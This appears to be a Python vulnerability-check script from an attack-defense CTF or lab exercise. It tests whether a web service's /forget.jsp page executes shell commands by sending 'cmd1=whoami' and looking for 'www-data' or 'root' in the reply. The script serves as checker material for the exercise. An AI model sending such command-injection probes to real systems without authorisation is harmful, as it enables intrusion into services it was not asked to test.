III. WEB_easy.jsp.py

Python

```python
import requests

headers = {
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36'
}


def check_alive(url):
    is_404 = False
    is_alive = False
    try:
        r = requests.get(url, headers=headers, timeout=5, allow_redirects=False)
        if r.status_code == 404:
            is_404 = True
        if r.status_code == 200:
            is_alive = True
    except:
        print('check_service 请求失败')
    return [is_alive, is_404]


def check1(url):
    description = '第一处：/forget.jsp 存在命令执行'
    is_404 = False
    is_vuln = False
    try:
        r = requests.get(url + '/forget.jsp?cmd1=whoami', headers=headers,  timeout=5)
        if r.status_code == 404:
            is_404 = True
        if 'www-data' in r.text:
            is_vuln = True
        elif 'root' in r.text:
            is_vuln = True
    except Exception as e:
        print(e)
        pass

    return [is_vuln, is_404, description]


def check(url, point):
    return check_alive(url) + globals()['check' + point](url)
```

```
if __name__ == '__main__':
    print(check1('http://4.4.1.2:8080'))
```